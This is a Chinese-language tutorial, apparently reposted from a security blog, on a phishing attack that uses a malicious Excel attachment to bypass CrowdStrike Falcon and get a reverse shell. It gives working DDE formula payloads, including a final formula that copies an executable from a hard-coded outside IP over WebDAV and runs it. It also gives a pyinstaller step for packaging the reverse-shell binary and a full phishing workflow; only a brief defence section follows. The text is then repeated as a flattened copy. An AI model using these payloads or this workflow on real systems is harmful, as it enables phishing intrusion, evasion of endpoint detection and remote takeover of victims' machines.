利用钓鱼邮件的恶意Excel附件绕过检测获取反向shell
字数 1258 2025-08-27 12:33:42

利用钓鱼邮件的恶意Excel附件绕过Crowdstrike Falcon检测获取反向Shell

概述

本文详细讲解如何通过构造恶意Excel附件,利用DDE(动态数据交换)功能绕过Crowdstrike Falcon等端点安全解决方案的检测,最终获取目标系统的反向Shell。该方法在2019年1月前有效,后已被Crowdstrike修复。

环境配置

攻击者环境

  • 廉价VPS服务器
  • 安装Apache2并启用mod_webdav模块
  • 使用pyinstaller打包的Python反向Shell二进制文件
  • 特殊构造的Excel文件

目标环境

  • Windows 10 1803(最新版,已打补丁)
  • Crowdstrike Falcon Sensor(最新版)
  • Excel 2016(已打补丁)
  • 配置公司邮箱的Outlook

技术实现步骤

第一步:构造恶意Excel附件

  1. DDE利用原理

    • 利用Excel的动态数据交换(DDE)功能而非宏
    • 绕过常见的邮件过滤器和Windows Defender检测
  2. 初始尝试

    {DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}
    
    • 在Word中已被微软2017年12月补丁禁用
  3. Excel有效公式

    =cmd|'/c notepad.exe'!_xlbgnm.A1
    
  4. 增强可信度的改进

    =EXCEL|Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1
    
    • 将警告框中的"CMD.EXE"替换为"EXCEL.EXE",提高可信度

第二步:WebDAV服务器配置

  1. 选择WebDAV的原因

    • 避免使用常见下载方式被检测
    • Windows资源管理器原生支持WebDAV协议
  2. 服务器配置

    • 使用Apache2的mod_webdav模块
    • 修改默认端口到443(HTTPS端口)

第三步:反向Shell准备

  1. Python反向Shell

    • 使用可在Windows执行的Python代码
    • 通过pyinstaller打包成单个可执行文件:
      pyinstaller --onefile run.py
      
  2. 文件部署

    • 将生成的可执行文件上传到WebDAV根目录

第四步:综合攻击执行

  1. 初始失败尝试

    =cmd|'/c cmd.exe /c "\\167.160.187.142\\webdav\run.exe"'!_xlbgnm.A1
    
    • 错误:指定的路径不存在
  2. 解决方案

    • 将文件重命名为run.txt
    • 先复制到本地再执行
  3. 最终有效公式

    =cmd|'/c cmd.exe /c "copy \\167.160.187.142\webdav\run.txt c:\users\public\run.exe" && cmd.exe /c "c:\users\public\run.exe"'!_xlbgnm.A1
    

绕过检测分析

  1. 传统检测方式

    • 常见流程执行树检测:
      explorer.exe > outlook.exe > excel.exe > powershell.exe -windowstyle hidden -executionpolicy bypass -enc
      
  2. 本方法优势

    • 不使用Powershell、WScript、Bitsadmin、mshta等常见方式
    • 执行流程更隐蔽,不易被行为分析检测

完整攻击流程

  1. 从垃圾邮箱创建钓鱼邮件,附加恶意Excel文件
  2. 发送到目标公司邮箱
  3. 受害者通过Outlook打开邮件和附件
  4. 受害者点击警告框中的"Yes"
  5. 攻击者接收反向Shell

防御措施

  1. 已修复

    • Crowdstrike在2019年1月11日发布补丁修复此绕过方法
  2. 通用防御建议

    • 保持安全产品更新
    • 教育用户识别可疑邮件和警告信息
    • 限制Office文档执行外部命令的能力
    • 监控异常网络连接(如WebDAV连接)

总结

本技术展示了如何利用Excel的DDE功能结合WebDAV协议,绕过Crowdstrike Falcon等高级端点保护解决方案的检测。虽然该特定方法已被修复,但其思路仍值得安全研究人员和防御方参考,以应对类似的新型攻击手法。

利用钓鱼邮件的恶意Excel附件绕过Crowdstrike Falcon检测获取反向Shell 概述 本文详细讲解如何通过构造恶意Excel附件,利用DDE(动态数据交换)功能绕过Crowdstrike Falcon等端点安全解决方案的检测,最终获取目标系统的反向Shell。该方法在2019年1月前有效,后已被Crowdstrike修复。 环境配置 攻击者环境 廉价VPS服务器 安装Apache2并启用mod_ webdav模块 使用pyinstaller打包的Python反向Shell二进制文件 特殊构造的Excel文件 目标环境 Windows 10 1803(最新版,已打补丁) Crowdstrike Falcon Sensor(最新版) Excel 2016(已打补丁) 配置公司邮箱的Outlook 技术实现步骤 第一步:构造恶意Excel附件 DDE利用原理 : 利用Excel的动态数据交换(DDE)功能而非宏 绕过常见的邮件过滤器和Windows Defender检测 初始尝试 : 在Word中已被微软2017年12月补丁禁用 Excel有效公式 : 增强可信度的改进 : 将警告框中的"CMD.EXE"替换为"EXCEL.EXE",提高可信度 第二步:WebDAV服务器配置 选择WebDAV的原因 : 避免使用常见下载方式被检测 Windows资源管理器原生支持WebDAV协议 服务器配置 : 使用Apache2的mod_ webdav模块 修改默认端口到443(HTTPS端口) 第三步:反向Shell准备 Python反向Shell : 使用可在Windows执行的Python代码 通过pyinstaller打包成单个可执行文件: 文件部署 : 将生成的可执行文件上传到WebDAV根目录 第四步:综合攻击执行 初始失败尝试 : 错误:指定的路径不存在 解决方案 : 将文件重命名为run.txt 先复制到本地再执行 最终有效公式 : 绕过检测分析 传统检测方式 : 常见流程执行树检测: 本方法优势 : 不使用Powershell、WScript、Bitsadmin、mshta等常见方式 执行流程更隐蔽,不易被行为分析检测 完整攻击流程 从垃圾邮箱创建钓鱼邮件,附加恶意Excel文件 发送到目标公司邮箱 受害者通过Outlook打开邮件和附件 受害者点击警告框中的"Yes" 攻击者接收反向Shell 防御措施 已修复 : Crowdstrike在2019年1月11日发布补丁修复此绕过方法 通用防御建议 : 保持安全产品更新 教育用户识别可疑邮件和警告信息 限制Office文档执行外部命令的能力 监控异常网络连接(如WebDAV连接) 总结 本技术展示了如何利用Excel的DDE功能结合WebDAV协议,绕过Crowdstrike Falcon等高级端点保护解决方案的检测。虽然该特定方法已被修复,但其思路仍值得安全研究人员和防御方参考,以应对类似的新型攻击手法。